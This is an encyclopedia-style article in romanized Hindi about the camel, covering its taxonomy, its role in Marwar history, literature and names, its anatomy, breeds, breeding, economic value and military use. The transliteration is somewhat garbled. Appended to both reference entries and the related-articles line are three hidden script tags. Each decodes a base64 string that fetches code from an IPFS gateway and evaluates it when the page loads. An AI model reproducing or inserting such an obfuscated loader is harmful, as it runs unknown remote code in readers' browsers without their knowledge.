ऊँट का परिचय
ooant ka parichay
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| jagat | jantu (Animalia) |
| sangh | kauradeta (Chordata) |
| varg | stanadhari (Mammalia) |
| gan | artiyodaikatila (Artiodactyla) |
| kul | kaimalidae (Camelidae) |
| jati | kaimelas (Camelus) |
| prajati | bॅktriऍnas (bactrianus) |
| dvipad nam | kॅmalas bॅktriऍnas (Camelus bactrianus) |
| sanbandhit lekh | gay, bhaians, hathi, gho da, sianh, bagh |
| any janakari | arabi ooant ke ek koob d jabaki baikatriyan ooant ke do koob d hote hai. arabi ooant pashchimi eshiya ke sookhe registan kshetroan ke jabaki baikatriyan ooant madhy aur poorv eshiya ke mool nivasi haian. ise registan ka jahaz bhi kahate haian. |
maroopradesh mean ooant apani pahachan alag se rakhata hai. registan ke lekhan mean agar is pashudhan ka nam n liya jay to marava ka parichay adhoora rah jaega. marava d mean ooant ka sanbandh janajitavan ke pratyek tane-bane se ju da hua hai. is pashu ne apana sthan itihas mean bhi banaya hai tatha maroopradesh mean upayogita ki drishti se isaka mahatvapoorn sthan raha hai. ooant ne marava ke logoan ke jivan mean ek ahamh bhoomika nibhaee hai. sahity mean visheshakar katha, kahani, vat, git, qissa goee ityadi mean ooantoan ke sandarbh bikhare p de haian. samarik drishti se ooant atyant upayogi janavar raha hai tatha aj bhi hai. sanvad-preshan aur yatayat mean ooant ne ek alag pahachan banaee hai.
samajik evan arthik upayogita ki drishti se bhi marava davasi ooant se bhali-bhaanti parichit hai. kheti ke kary mean hal khianchane se lekar kuean se pani nikalane tak ooant ka kudha kam ata raha hai. manoanband bhar ladana ho ya ratoan-rat sau kos ki doori tay karani ho, chahe bhale-bure sandesh pahuanchane hoan, praranbh se ooanch hi in karyoan mean upayogi raha hai. aitihasik sandarbh mean mila hai ki jab maharaja jasavant sianh ji pratham ka dehant kabul mean ho gaya tha tab rabari rodhadas ko is du:khad samachar ke sath pag lekar jodhapur bheja gaya. vah attarah din mean peshavar se jodhapur pahuancha. usaka sandarbh nimn prakar se upalabdh hai :-
"rabari radhau radhaudas ro, hakikat pos vad 10 guru pesor tha, shri maharaja devalok hua tarai pag lai ne jodhapur gayo pos khud 13 pohato."
usi prakar jab maharaja ajit sianh ji ka janm lahaur mean hua tab usi radhoan ne usaki badhaee ka sandesh ooant se ath din mean jodhapur pahuanchakar diya tha. is sandarbh ka jikr jodhapur kahikat ki vahi mean upalabdh hai:-
"chait vadi 12 rabari radhau chait vadi 5 ro haliyo. lahaur sudin 8 mean ayo. shri maharaja ji re beta 2 huari khabar lyayo."
ooant ki gati ke vishay me bhi itihas mean anek sandarbh milate haian. ek achchha ooant ek rat mean sau kos chalata tha. vah pachas ko jata aur pachas ko vapis ata tha. yah bat "ratan manjari" ke sandarbh mean upalabdh hai:-
"itari kahi nai kooanvar ekai vadai ooant chadhane ratan manjari nai vasai chadhay nai haliya. su ooanth esau, jiko rat pahuanche vasai sau kos javai."
ek any sandarbh bhi isi prakar upalabdh hai :-
"tarai jakhadai un saandh nai sarani maandi. tika mas ek maanhai sajhaee. tika kos pachas jay nai ekai dhan pachhi avai."
prem kathaoan mean moomal-mahendra ki katha aj bhi jan-jan ki juban par hai. mahendra hamesha rat ko chikal namak ooant ko lekar amarakot se lodrava (jaisalamer) ata aur ratoan rat vapis chala jata tha. dhola maravan ki katha bhi ooant ke ullekh ke bina adhoori lagati hai. dhola ka mudharoan namak ooant usaki prem katha ka mook sakshi raha hai. ooantoan ki chal ke sanbandh mean bhi sahity mean kuchh sandarbh upalabdh haian. mote roop se gaanvoan mean ooantoan ki chal ke lie jo shabd parampara se prachalit haian, unamean mukhy roop se mudharo, dhan, tabadako, rab dako, khagre jaise shabd pramukhata rakhate haian. dhola maru ri bat mean ek sandarbh nimn prakar se milata hai:-
"abai karahau (ooant) thakau. bhookh pan lagi, tin sooan mudharo chalan lagau."
ooant ko sanskrit mean kremalak kahate haian jo aangreji ke kaimal se milata-julata shabd hai. isake alava sanskrit me use ushth, karabh adi bhi kahate haian. marava d mean ooantoan ke lie kee prakar ke any sambodhan bhi prachalit haian jinase sabhi log parichit nahian hai. sadharanataya ooant ke paryayavachi shabdoan mean todiyo, jako do, meeyo, tod ityadi hai. isake alava bhi diangal kosh mean usake anek vibhinn nam vishesh arthoan mean upalabdh haian.
paket us ooant ko kahate haian jo kaphi boodha ho jata hai. us ooant ke sanbandh mean log bat karate haian to kaha jata hai ki phaloan ooant to paket hai arthath umr mean parip hai. bahut adhik tivr gati se chalane vale ooant ko jamikaravat arthath jamin ko gati se katane vala kaha jata hai. phinanakhato ooant jab apani gati se chalata hai to usake muanh se jhag nikalate rahate haian jisake karan aise ooant ko phinanakhato bhi kaha jata hai.
marava mean diangal sahity mean ooant ke lie any jitane bhi shabd prachalit haian, ve mukhy roop se gir d, gadharav, jakho do, prachand, paangal, lohato do, aniyala, umada, aankharatavar, piandadhal, karah, kachhi, hathi molo, moladh (arthath atyant kimati ooant), sadhdho, supanth, saanthiyoan, to d, gadh, munakamalo, sal, jooang, karel do, nasalavand, kalanas, kantakasan, gandan, dukha, sutar, karaho, sarathau, karam, jumad, duankhatak, gay ityadi namoan se jane jate haian.
lagat bhi ooant ke lie hi prayukt hota hai. aise ooant ke paanv chalate samay pet se gharshan karate haian to vah achchha nahian samajha jata hai. use ooant ko lagat kaha jata hai, jisaki kimat bhi jyada nahian hoti. ooant savar ko marava d mean sutar savar kaha jata hai. purane samay mean mada ooantani ki savari karane vale ko saandiya kaha jata tha athava ooant ro othi bhi kaha jata tha. isaka sahi shabd ooanthi se othi mean parivartit hua maloom p data hai. jahoor khaan mehar ne to ooantoan ke paryayavachi dhooandhane mean kamal hi kar diya hai. unhoanne ooanto ke lie jo nam die haian unamean jakases, ratalau, khapa, karasalau, jamad, vait, marudvip, baragaur, may, beharo, madadhar, bhoorau, vidangak, makanajhanh, bhoomigam, dhaidhigar, aniyal, khanak, alahairi, patal, mayand, odharu, paangal, kachhau, aankh, ratabanr, toradau, katak asan, karasau, ghagh, sando, karahau, kulanaru, sarathau, handabachiyau, sarasaiyau, gadharav, sarabh, karasaliyau, gay, jooang, nahatoo, jamaj, gidann, toee, durantak, manakamalau, barahas, darak, vas, vasat, lambost, sindhu, odhau, vidang, kandhal, bhoonamalau, sadhadhau, daserak, sal (savvoo), lohanadau, phaphidalau, jodarau, nasalamb d bheki, durag, bhootahan, dhagau, karahas, doyakakut, maroopriy, mahaaang, sisunami, vakranami, vakragiv, jangal tanau jato, pattajhar, siandhadau, ginkandha, goophalau, kamal bhaddau, mahagat, nesaru, sutarakas aur dtal adi pramukh haian.[1]
shararik banavat evan khan-pan
ooant ki taange aur gardan lambi tatha pith par ek bada sa koob d hota hai. isake pairoan mean gaddiyaan hoti hai. nathune patale hote haian jis karan se ret nak mean nahian jati. isake pahale aur doosare amashayoan ki divaroan mean jal sanchikaean hoti hai tatha koob d mean vasa bhari rahati hai. yah pashu 25 litar tak jal ka bhandaran kar sakata hai. isake daant nukile hote haian tatha jugali ke alava l daee mean bhi daantoan ka prayog karata hai. aur ek hi sthan par khane ke bajay charana jyada pasand karata hai aur moti-jhoti vanaspati bhi chav se khata hai. bhusa, mauth, mooang, chana adi ka poorak chara bhi diya jata hai. ooant ko taja phitakari bhi pilaee jati hai. yah pashu 5 varsh ki umr mean javan ho jata hai aur 40-50 vasharean tak jita hai. rritukal mean narapashu madandh ho jata hai. shor machata hai, ek bar mean ek mada ek bachche ko janm deti hai tatha garbhavadhi 11-13 mahine ki hoti hai. ooantani apane bachche ko ek varsh tak doodh pilati hai.
ooantoan ke prakar
bharat mean do prakar ke ooant paye jate haian-
- laddoo ooant jo bojh dhote haian
- savari ooant - jo mukhy roop se savari ke kam ate haian.
bojha dhone vale laddoo ooant b de balisht hote haian tatha maidani, registani aur paha di bhagoan mean saman shakti ke sath kam karate haian. ye ooant 400 kilo tak bojha dho sakate haian tatha 3 kimi prati ghante ki gati se 30-40 kimi tak chal sakata haian. savari ke ooantoan ke pair chhote, chhati chau di hoti hai. ye bina ruke 100 kimi tak ja sakate haian.
registani ooant tin prakar ke hote haian, bikaneri, jaisalameri aur siandhi ooant. jaisalameri ooant shakti, karyakshamata mean sabase shreshth hota hai. ye ooant kheti tatha parivahan donoan ke kam ate haian. ooantoan mean prajanan hetu rajasthan rajy any rajyoan se kaphi age haian. ooantoan mean madakal disambar se march tak rahata hai. 6 varsh ka ooant is kary hetu upayukt hai. ek ooant 30-50 ooantaniyoan se sangam kar sakata hai. tatha 22 varsh ki umr tak mad mean ata hai. ooantani 4 varsh ki umr se garbh dharan kar sakati hai. ooantaniyaan 20 varsh ki umr tak bachcha de sakati hai. ek bar mean ek bachcha hota hai tatha garbhakal 11-13 mas tak rahata hai. garbhapat ek samany ghatana hai.
prajanan kshetr
bikaner, ganganagar adi kshetroan mean ooantoan ka prajanan hota hai. ooantoan ke prajanan mean rajasthan ke bad kachchh (gujarat) hai. ooantoan ko sayabano mean rakha jata hai. sena ke ooantoan ko vishesh prabandh se rakha jata hai. nakel se ooant ko baandha jata hai. ooant par kasi jin majaboot honi chahie tatha koob d par ghav n ho aisi vyavastha ho. ooantoan ki romavali badh jati hai aur ise basant rritu mean katakar kambal v any garam kap de banane ke kam liya ja sakata hai. thande pradeshoan mean ek ooant se 5 kilo tak bal prapt kiye ja sakate haian. ooantoan ke prasiddh rogoan mean giltirog, nimoniya, mora, alark, surra tatha any tvacha rog haian.
ooantoan ka mahattv
ooant desh ki arthavyavastha mean apani bhoomika ada karate haian. khet jotane, bojha dhone, parivahan, pani khianchane adi mean ye kam mean ate haian. rajasthan mean ooantoan par dak saplaee ki jati hai. pustakalay chalaye jate haian tatha ooantoan par chal chikitsalay ki vyavastha bhi hoti hai. retile kshetroan mean ooant jyada labhadayak pashu hai. ooant ga di par 500 kilo tatha pith par 300 kilo bojha dho sakata hai. ooantoan ka upayog parivahan, kheti, vyapar ke alava bhi kiya ja sakata hai. ooant ke kee utpad hai jo kam mean ate haian. ooantoan se bal cham da, maans, kachchi asthiyaan, doodh tatha khad prapt kiye jate haian.
sena mean yogadan
desh ki senaoan, sima suraksha baloan, skaut, pulis adi mean bhi ooantoan ka yogadan pramukh haian. rajasthani simaoan par taskari rokane, gasht lagane tatha senaoan ki madad bhi ooant karate haian. yuddh mean prachin kal mean ooantoan ka upayog hathi tatha gho doan ke sath-sath hota tha. kee prem kahaniyoan mean ooant ne apani bhoomika ada ki hai. registani kshetroan ki sanskriti, parampara, vyapar, udyog, suraksha sabhi mean ooant ek mahatvapoorn pashu hai. aj bhi hajaroan parivar ooantoan ki amadani se apana kharcha chalate haian. ooant unaki roji-roti ka mahatvapoorn sadhan hai. sahity, sanskriti, kala, chitrakala, moortikala, sthapaty, bhitti chitroan sabhi mean ooantoan ko prathamikata se ukera jata hai. dholamaru ki amar prem kahani ho ya laila majanooan ki dastan bina ooant ke adhoori hai.[2]
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tika tippani aur sandarbh
- ↑ marupradesh ke pariprekshy mean ooant ka parichay (hiandi) igcna.nic.in. abhigaman tithi: 26 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ yashavant kothari ka alekh : registan ka jahaj : ooant (hiandi) rachanakar. abhigaman tithi: 20 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
- REDIRECT saancha:jiv jantu<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>